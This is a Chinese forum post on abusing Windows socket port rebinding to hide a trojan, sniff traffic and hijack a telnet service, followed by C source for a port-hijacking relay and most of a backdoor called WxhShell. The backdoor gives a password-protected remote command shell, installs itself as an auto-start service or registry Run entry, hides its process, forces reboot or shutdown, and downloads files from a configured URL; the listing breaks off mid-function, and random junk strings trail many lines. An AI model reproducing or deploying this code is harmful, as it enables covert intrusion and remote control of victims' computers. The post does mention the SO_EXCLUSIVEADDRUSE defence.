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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ^cSfkBh  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); vyB{35p$  
\%.oi@A  
  saddr.sin_family = AF_INET; D!/ 4u0m  
?!/8~'xA6  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); #62ThH~  
QjG/H0*mP  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); tcsb]/my  
0GeL">v,:=  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 kR^h@@'F"  
_>kc:  
  这意味着什么?意味着可以进行如下的攻击: ^blw\;LB  
!>80p~L  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 wVnmT94  
J:>o\%sF  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) VNIl%9:-l  
GEh(pJ  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 F ]Zg  
e@TwZ6l  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  U`HY eJ  
*AGf'+j*z  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 Ba|}$jo  
As,e.V5!  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ~u2f`67{  
t8h*SHD9  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 a`#lYM%(>  
"-dA\,G  
  #include S7nx4c2xK~  
  #include lqJ92vi6Q  
  #include HF_8661g  
  #include    ~n%Lo3RiP  
  DWORD WINAPI ClientThread(LPVOID lpParam);   udA@9a^;  
  int main()  JJ}DYv  
  { SlR//h  
  WORD wVersionRequested; NFx%e  
  DWORD ret; g)r{LxT#+  
  WSADATA wsaData; {cIk-nG -_  
  BOOL val; Ry]9n.y  
  SOCKADDR_IN saddr; tcv(<0  
  SOCKADDR_IN scaddr; y2s(]# 8  
  int err; GWPBP-)0  
  SOCKET s; 0+@:f^3]!  
  SOCKET sc; yF.Gz`yi  
  int caddsize; 7kE+9HmfMk  
  HANDLE mt; wS#Uw_[  
  DWORD tid;   m[3c,Axl7  
  wVersionRequested = MAKEWORD( 2, 2 ); iCg%$h  
  err = WSAStartup( wVersionRequested, &wsaData ); "B (?|r%  
  if ( err != 0 ) { 8zj&e8&v  
  printf("error!WSAStartup failed!\n"); z+6PVQ  
  return -1; 2-8Dc4H]r  
  } C`kqsK   
  saddr.sin_family = AF_INET; \OFmd!Cz  
   Qr3!6  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 !8[A;+o3P  
:dULsl$Nz  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); t^YtP3`?b  
  saddr.sin_port = htons(23); O$m &!J  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) pY )x&uM!  
  { ZlMT) ~fM&  
  printf("error!socket failed!\n"); ki@C}T5  
  return -1; np6G~0Y`  
  } S!=R\_{u$  
  val = TRUE; FP=- jf/  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 DH+kp$,}  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) FVrB#Hw~  
  { 'hBnV xd&  
  printf("error!setsockopt failed!\n"); E\s1p: %  
  return -1; M3@qhEf?vk  
  } a_5s'Dh  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; +z?gf*G_W'  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 <%uEWb)  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 )/)u.$pi  
Nr>UZlU8  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) {zm8`  
  { <Y}m/-sD5  
  ret=GetLastError(); U-1UWq  
  printf("error!bind failed!\n"); FauASu,A  
  return -1; E:**gvfq  
  } T{+a48,;  
  listen(s,2); @#,/6s7?  
  while(1) /}U)|6- B  
  { ?|W3RK;  
  caddsize = sizeof(scaddr); oydP}X  
  //接受连接请求 E#(e2Z=  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); I P#vfM  
  if(sc!=INVALID_SOCKET) q%kCTw  
  { vJ'22)n  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); Lr*PbjQDIY  
  if(mt==NULL) TCyev[(  
  { K a(B&.  
  printf("Thread Creat Failed!\n"); v {HF}L  
  break; Fh)xm* u(  
  } PA,aYg0f  
  } #`|Nm3b  
  CloseHandle(mt); UG`~RO  
  } _%2ukuJ `  
  closesocket(s); >KrI}>!9r  
  WSACleanup(); O[MFp  
  return 0; \os"w "  
  }   BI)C\D3[  
  DWORD WINAPI ClientThread(LPVOID lpParam) ?B ,<gen  
  { 2H9hN4N  
  SOCKET ss = (SOCKET)lpParam; pI K:$eN!/  
  SOCKET sc; >@ 8'C"F  
  unsigned char buf[4096]; "QXnE^  
  SOCKADDR_IN saddr; Y3[KS;_fr9  
  long num; A? B +  
  DWORD val; 7 SJ=2  
  DWORD ret; 0g: q%P0  
  //如果是隐藏端口应用的话,可以在此处加一些判断 RDDA^U7y#  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   `(?c4oq,c>  
  saddr.sin_family = AF_INET; Ojl X<y.  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ZXb{-b?[`  
  saddr.sin_port = htons(23); bskoi;)u  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) TX$dxHSPK  
  { P<&bAsje  
  printf("error!socket failed!\n"); y$-@|M$GG  
  return -1; eJ45:]_%I@  
  } u5Z yOZ;  
  val = 100; LBD],Ba!  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Iv  
  { AzJ;E tR  
  ret = GetLastError(); ]}b  
  return -1; Lwi"K8.u  
  } $<)]~* *K  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) z~`X4Segw  
  { 8=Oym~  
  ret = GetLastError(); &UnhYG{A  
  return -1; T<Xw[PEnP  
  } J'ce?_\?PY  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) F!hjtIkPj  
  { Gf#l ^yr   
  printf("error!socket connect failed!\n"); 8 f~x\.  
  closesocket(sc); ]\|2=  
  closesocket(ss); , 2#Q >  
  return -1; )N- '~<N  
  } .>TG{>sH  
  while(1) h&L-G j  
  { r@r*|50  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 R3og]=uFzm  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 1-^D2B[-  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 s|XWw<Sa  
  num = recv(ss,buf,4096,0); Ek `bPQ5  
  if(num>0) 7)<Ib j<M  
  send(sc,buf,num,0); {"~[F2qR  
  else if(num==0) Xux[  
  break; 0|-}>>qb\  
  num = recv(sc,buf,4096,0); 5>%^"f  
  if(num>0) m_Ed[h/I  
  send(ss,buf,num,0); n6Uh%rO7S|  
  else if(num==0) }a!|n4|`  
  break; N}VoO0I  
  } ~),%w*L  
  closesocket(ss); /q>ExXsEC  
  closesocket(sc); *LBF+L^C%  
  return 0 ; B=]L%~xL$  
  } U}X'RCM  
=/'>.p3/S  
.?g=mh79(  
========================================================== @BnK C&{  
VFZyWX@#u  
下边附上一个代码,,WXhSHELL FLQke"6i0:  
|=:@<0.'  
==========================================================  Xp<O  
;sYDs71y  
#include "stdafx.h" um$U3'0e  
GjW(&p$&  
#include <stdio.h> H74'I}  
#include <string.h> ,^mEi  
#include <windows.h> (T2HUmkQ6  
#include <winsock2.h> UGM:'xa<T  
#include <winsvc.h> : ^}!"4{  
#include <urlmon.h> j^b &Q  
1r.2bL*~jw  
#pragma comment (lib, "Ws2_32.lib") bt1bTo  
#pragma comment (lib, "urlmon.lib") rusM]Z  
T;Kv<G;  
#define MAX_USER   100 // 最大客户端连接数 @(=?x:j  
#define BUF_SOCK   200 // sock buffer -6_<]  
#define KEY_BUFF   255 // 输入 buffer wsrdBxd5  
VWdTnu  
#define REBOOT     0   // 重启 ]5*H/8Ke7  
#define SHUTDOWN   1   // 关机 S`mB1(h  
;6 d-+(@  
#define DEF_PORT   5000 // 监听端口 `xv Uq\  
zBTxM  
#define REG_LEN     16   // 注册表键长度 -u~:Gd*l0  
#define SVC_LEN     80   // NT服务名长度 4?(=?0/[  
qrOesSdc  
// 从dll定义API l#ct;KZ  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); (]mBAQ#hw  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); {7IZN< e  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ueW/i  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); h Ks  
A9Ea}v9:  
// wxhshell配置信息 m|?1HCRXRI  
struct WSCFG { v%`k*n':  
  int ws_port;         // 监听端口 Xeis_  
  char ws_passstr[REG_LEN]; // 口令 #+" D?  
  int ws_autoins;       // 安装标记, 1=yes 0=no *pS3xit~  
  char ws_regname[REG_LEN]; // 注册表键名 p|0SA=?k"  
  char ws_svcname[REG_LEN]; // 服务名 r#ADxqkaV  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 eUa:@cA  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 (NnE\2  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 VWXyN  
int ws_downexe;       // 下载执行标记, 1=yes 0=no _8`S&[E?  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" S9b=?? M)  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 GmUm?A@B  
V.Lk70 \  
}; H,/ =<Th;i  
J~ @W":v  
// default Wxhshell configuration ZW;Re5?DJ  
struct WSCFG wscfg={DEF_PORT, Bq4@I_b  
    "xuhuanlingzhe", xw~oR|`U  
    1, :[_k .1-+  
    "Wxhshell", ow,! 7|m  
    "Wxhshell", Y?oeP^V'u  
            "WxhShell Service", N-p||u  
    "Wrsky Windows CmdShell Service", 0"sZP\<p  
    "Please Input Your Password: ", WT 5 2  
  1, ^'sy hI\  
  "http://www.wrsky.com/wxhshell.exe", 0'5N[Bvp  
  "Wxhshell.exe" A i#~Eu*  
    }; Kx;la  
U; #v-'Z  
// 消息定义模块 L`w_Q2{sv  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; !a%_A^t7  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 7/=r-  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; \<} e?Yx%  
char *msg_ws_ext="\n\rExit."; n;.);  
char *msg_ws_end="\n\rQuit."; 8RZqoQDH  
char *msg_ws_boot="\n\rReboot..."; _>t6]?*  
char *msg_ws_poff="\n\rShutdown..."; \$,;@H5I^  
char *msg_ws_down="\n\rSave to "; 6SAYe%e  
i|!R*"  
char *msg_ws_err="\n\rErr!"; 0w2<2grQ  
char *msg_ws_ok="\n\rOK!"; \%W"KLP  
_4lKd`  
char ExeFile[MAX_PATH]; @&Af [X4s  
int nUser = 0; 9~r8$,e  
HANDLE handles[MAX_USER]; ZoqE,ucH  
int OsIsNt; Jd|E 4h~(  
<{HV|B7  
SERVICE_STATUS       serviceStatus; N71%l  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; UQT=URS  
Qyj:!-o  
// 函数声明 %wq;<'W  
int Install(void); KW36nY\7  
int Uninstall(void); SQG9m2  
int DownloadFile(char *sURL, SOCKET wsh); %$R]NL|  
int Boot(int flag); p" Di;3!y!  
void HideProc(void); s%zdP  
int GetOsVer(void); lxLEYDGFS  
int Wxhshell(SOCKET wsl); :u?L y[x  
void TalkWithClient(void *cs); Cj6$W5I m  
int CmdShell(SOCKET sock); 5.U|CL  
int StartFromService(void); ,V+,3TT  
int StartWxhshell(LPSTR lpCmdLine); [:{HX U7y  
e yByAT~W,  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); A9y3B^\*  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Z~g7^,-t  
io$fL_R=  
// 数据结构和表定义 K3J,f2Cn$  
SERVICE_TABLE_ENTRY DispatchTable[] = 6oR5q 4  
{ mx0EEU*  
{wscfg.ws_svcname, NTServiceMain}, F*,RDM'M  
{NULL, NULL} @aWd0e]  
}; $?|$uMIafp  
S),acc(d  
// 自我安装 +78cQqDY!  
int Install(void) jH2_Ekgc;_  
{ f2M}N  
  char svExeFile[MAX_PATH]; GaOM|F'>  
  HKEY key; Uj)`(}r  
  strcpy(svExeFile,ExeFile); SOJkeN  
G9 ra;.  
// 如果是win9x系统,修改注册表设为自启动 3ZL<6`YF  
if(!OsIsNt) { *)qxrBc0  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { iq`caoi  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); p y%RR*4#  
  RegCloseKey(key); X:OUu;  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Jw -3G3h  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ~:"//%M3l  
  RegCloseKey(key); &^K,"a{  
  return 0; %_ Vj'z~T  
    } nW_cjYS%  
  } QWAtF@qTV  
} T5+9#  
else { F+m;y  
JR4fJG  
// 如果是NT以上系统,安装为系统服务 @@#h-k%k-  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); p2(Z(V7*  
if (schSCManager!=0) @*5(KIeeC>  
{ _ v3VUm#  
  SC_HANDLE schService = CreateService HV8=b"D"  
  ( \ H!Klp  
  schSCManager, Hie  
  wscfg.ws_svcname, eDS,}Z'  
  wscfg.ws_svcdisp, o9c?)KQ  
  SERVICE_ALL_ACCESS, Nu7lPEM  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , +E }q0GV  
  SERVICE_AUTO_START, %@Nu{?I  
  SERVICE_ERROR_NORMAL, \vqqs  
  svExeFile, Q-y`IPtA<  
  NULL, aJ$({ZN\#  
  NULL, irKM?#h  
  NULL, e3]v *<bj  
  NULL, +W}6o3x~  
  NULL rE9Nt9}  
  ); L_R(K89w  
  if (schService!=0) 4>(rskl_  
  { EEj.Kch}4  
  CloseServiceHandle(schService); O{ |Ug~  
  CloseServiceHandle(schSCManager); #7p!xf^  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); m,PiuR>  
  strcat(svExeFile,wscfg.ws_svcname); =&roL7ps  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { <^Jdl.G  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); "*ww>0[  
  RegCloseKey(key); ;_p!20.(  
  return 0; b>L?0p$ej  
    } K aNO&%qX  
  } 5odXT *n  
  CloseServiceHandle(schSCManager); G]O5irsV  
} my%MXTm2  
} 40HhMTZ0-  
lYhC2f m_  
return 1; Yp EH(tq  
} t_jnp $1m  
Y |9  
// 自我卸载 e$o]f"(  
int Uninstall(void) %{&,5|8  
{ l;}3J3/qq]  
  HKEY key; puox^  
x%T.0@!8  
if(!OsIsNt) { H7(D8.y )  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Ix+eP|8F  
  RegDeleteValue(key,wscfg.ws_regname); h`f$]_c  
  RegCloseKey(key); }mpFo 2  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { "w3%BbIx  
  RegDeleteValue(key,wscfg.ws_regname); ^o4](l  
  RegCloseKey(key); C!)ZRuRv  
  return 0; 6o4Y]C2W{1  
  } @;}vK=6L  
} 4))N(m%3F  
}  w>\_d  
else { |!{ Y:f;  
slAR<8  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); jcHyRR1R  
if (schSCManager!=0) 5&qBG@Hw]  
{ CV)K=Br5&_  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); DhXV=Qw  
  if (schService!=0) RoNE7|gF:  
  { c2-oFLNP=  
  if(DeleteService(schService)!=0) { Ko0?c.l  
  CloseServiceHandle(schService); _ Y7 Um  
  CloseServiceHandle(schSCManager); <Yg6=e  
  return 0; T"1=/r$Ft  
  } <!F".9c@A  
  CloseServiceHandle(schService); ~BMUea(  
  } wHh6y?g\  
  CloseServiceHandle(schSCManager); oX7_v_:J\R  
} w)&?9?~  
} A?h o<@^  
RK=Pm7L:`y  
return 1; 8:[ l1d86  
} HuR774f[  
LXaq  
// 从指定url下载文件 uU%Z%O  
int DownloadFile(char *sURL, SOCKET wsh) _}F _Q5)  
{ f3S 8~!  
  HRESULT hr; uh`5:V  
char seps[]= "/"; NY|hE@{2.  
char *token; m^ Epw4eg  
char *file; +;4;~>Y  
char myURL[MAX_PATH]; L/In~' *-  
char myFILE[MAX_PATH]; ;tQ(l%!  
[w!T  
strcpy(myURL,sURL); c-_1tSh}  
  token=strtok(myURL,seps); e N v\ZR1  
  while(token!=NULL) LH.Gf  
  { Kwi+}B!  
    file=token; RA?_j$  
  token=strtok(NULL,seps); )O5@R  
  } (<rE1w2s:  
4>OS2b`.;  
GetCurrentDirectory(MAX_PATH,myFILE); }ice*3'3  
strcat(myFILE, "\\"); MV2$0  
strcat(myFILE, file); L9XfR$7,z  
  send(wsh,myFILE,strlen(myFILE),0); &nwS7n1eb  
send(wsh,"...",3,0); 2vU-9p {  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);  ;u [:J  
  if(hr==S_OK) #%F-Xsk  
return 0; <-fvYer  
else &iZt(XD  
return 1; ZjY,k  
 Na@;F{  
} }V*?~.R  
$gN\%X/n"1  
// 系统电源模块 hW'b'x<  
int Boot(int flag) P{ 9wJ<  
{ ]uF7HX7F  
  HANDLE hToken; 8#g}ev@|u  
  TOKEN_PRIVILEGES tkp; ID`Ot{ y  
IZm6.F  
  if(OsIsNt) { tQRbNY#}Z  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); B9[vv;lzu  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); vH-|#x~  
    tkp.PrivilegeCount = 1; YtKT3u:x  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; kZo# Ny  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); :3XvHL0rx  
if(flag==REBOOT) { *aC[Tv[-P  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) (n8?+GCa  
  return 0; \y%"tJ~N{  
} DU8\1(  
else { "U"fsAc#  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ^;h\#S[%  
  return 0; j,;f#+O`g  
} ' `c \Dq  
  } 8t=O=l\  
  else { 7w" !"W#  
if(flag==REBOOT) { 9H;Os:"\|  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) )B +o F7  
  return 0; X Db%-  
} 9M'"q7Kh  
else { H^5,];  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) AzF*4x  
  return 0; 5Za<]qxr  
} |f$ws R`&  
} 2bLc57j{`9  
Q]GS#n  
return 1; <9"@<[[,  
} =liyd74%`  
<*z'sUh+}  
// win9x进程隐藏模块 BeQ'\#q,  
void HideProc(void) g.Qn,l]X/p  
{ &Ep$<kx8  
XUh&an$  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Ye4 &4t  
  if ( hKernel != NULL ) R[6R)#o  
  { G~.VW48{n  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); K3h];F! ^  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 9z{}DBA  
    FreeLibrary(hKernel); [tSv{  
  } rA8NE>  
EXjR&"R  
return; E&z^E2  
} a6ryyt 5  
z1,#ma}.  
// 获取操作系统版本 f% t N2k  
int GetOsVer(void) 0vDvp`ie#4  
{ NX(IX6^y  
  OSVERSIONINFO winfo; \24'iYtqW  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ]e5aHpgR=  
  GetVersionEx(&winfo); j|o/>^ 'e  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) `|"o\Bg<  
  return 1; y]obO|AH  
  else c[X6!_  
  return 0; :N^B54o%6  
} G@~e :v)  
jt323hHth  
// 客户端句柄模块 WdC7CK  
int Wxhshell(SOCKET wsl) {~}:oV  
{ !=;Evf  
  SOCKET wsh; w""u]b%:r  
  struct sockaddr_in client; rO#$SW$YW  
  DWORD myID; veh=^K%G |  
'cQ`jWZQ  
  while(nUser<MAX_USER) #=Xa(<t  
{ V_v+i c^  
  int nSize=sizeof(client); >2}*L"YC  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 0{o 8-#  
  if(wsh==INVALID_SOCKET) return 1; U:MZN[Cc[  
RN1KM  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); F3Da-6T@  
if(handles[nUser]==0) o!y<:CGL  
  closesocket(wsh); u|EJ)dT?  
else r[kHVT8  
  nUser++; z=jzr=lP  
  } PiR`4Tu  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ci(BPnQ  
jl]p e7-  
  return 0; V)`Q0}  
} hdM?Uoo(4a  
QiRx2Z*\  
// 关闭 socket c- @EHv  
void CloseIt(SOCKET wsh) Cd p_niF  
{ j}jU.\*v<  
closesocket(wsh); .fhfO @  
nUser--; =5%}CbUU)4  
ExitThread(0); &\/}.rF  
} =<= [E:B  
Xa>c ]j  
// 客户端请求句柄 d +eb![fi  
void TalkWithClient(void *cs) )s 1 Ei9J  
{ :NH '>'  
%-!:$ 1;  
  SOCKET wsh=(SOCKET)cs; Qej<(:J5  
  char pwd[SVC_LEN]; <lPHeO<^]  
  char cmd[KEY_BUFF]; 63i&e/pv  
char chr[1]; WPu%{/ [  
int i,j; @(tuE  
O,I7M?dRf  
  while (nUser < MAX_USER) { U.W Mu%  
a9nXh6  
if(wscfg.ws_passstr) { N9f;X{  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); U:IeMf-;  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); o`ODz[04  
  //ZeroMemory(pwd,KEY_BUFF); < *{(>  
      i=0; jin?;v  
  while(i<SVC_LEN) { dFpP_U  
@eDL j}  
  // 设置超时 q]*:RI?wGT  
  fd_set FdRead; kca  Y  
  struct timeval TimeOut; FCYZ9L5uF  
  FD_ZERO(&FdRead); |:`gjl_Nf  
  FD_SET(wsh,&FdRead); ,rQPs  
  TimeOut.tv_sec=8; !r0 z3^*N  
  TimeOut.tv_usec=0; s8kkf5bu  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); |G-o&m"  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); kI$X~s$r  
*:,7 A9LY  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); K:sC6|wG  
  pwd=chr[0]; AyZBH &}RZ  
  if(chr[0]==0xd || chr[0]==0xa) { d4-cZw}+  
  pwd=0; #1f8A5<  
  break; )'?@raB!  
  } wsfn>w?!V  
  i++; #EU x1II  
    } C[(Exe  
R:DW>LB  
  // 如果是非法用户,关闭 socket <^jW  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); @AkD-}^[  
} eTa[~esu.  
~4~>; e  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); *YY:JLe  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); LaiUf_W#X  
Fop "m/  
while(1) { K29KS)~;W  
:j,e0#+sA  
  ZeroMemory(cmd,KEY_BUFF); )Ikx0vDFQ  
u7<s_M3%N  
      // 自动支持客户端 telnet标准   TXQ Y&7  
  j=0; ^Q4m1? 40  
  while(j<KEY_BUFF) { wXsA-H/`  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); R|AG N*.  
  cmd[j]=chr[0]; iPJZ%  
  if(chr[0]==0xa || chr[0]==0xd) { /CN^">|_  
  cmd[j]=0; C"ZCX6p+$  
  break; ~8EG0F;t  
  }  0$l D  
  j++; 52#@.Qa  
    } K]q OLtc  
Fu(I<o+T-  
  // 下载文件 2 }Q)&;u  
  if(strstr(cmd,"http://")) { b-+iL  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); " U&   
  if(DownloadFile(cmd,wsh)) 8ESBui3;  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,Tyh._sa  
  else `7|v  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); N LC}XL  
  } 3u8HF-  
  else { "sRR:wzQu  
"ND 7,rQ  
    switch(cmd[0]) { PZ;O pp  
  {j E}mzi  
  // 帮助 h7  >  
  case '?': { E7axINca  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); U:xr['  
    break; ^r$P&}Z\b  
  } [ua{qJ9  
  // 安装 C;;dCsiV5  
  case 'i': { %c(':vI#  
    if(Install()) y4Plm.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); I "9S  
    else r>`65o  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); pXCmyLQ  
    break; w.Ft-RXA W  
    } y:Qo:Z~  
  // 卸载 ueYZM<],  
  case 'r': { ?E2/ CM  
    if(Uninstall()) Ohnd:8E  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); UMw1&"0:  
    else z}N=Oe  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); hHdH#-O:4"  
    break; K9gfS V>]  
    } 6`{Y#2T  
  // 显示 wxhshell 所在路径 Yt7R[|  
  case 'p': { hn-9l1~!h  
    char svExeFile[MAX_PATH]; Bi)1*  
    strcpy(svExeFile,"\n\r"); qv=i eU  
      strcat(svExeFile,ExeFile); X5527`?e  
        send(wsh,svExeFile,strlen(svExeFile),0); ep Eg 6   
    break; +^!&-g@(  
    } X) xQKkL0  
  // 重启 n_hV;  
  case 'b': { zN {'@B  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); %X O97  
    if(Boot(REBOOT)) c63DuHA*C  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =zt@*o{F  
    else { Qhsh{muw(  
    closesocket(wsh); sV'(y>PP%  
    ExitThread(0); 9#iu#?*B  
    } ! iA0u  
    break; iXMs*G cK  
    } )&<BQIv9/  
  // 关机 try'%0}>  
  case 'd': { Uoh!1_oV  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ?A;x%8}  
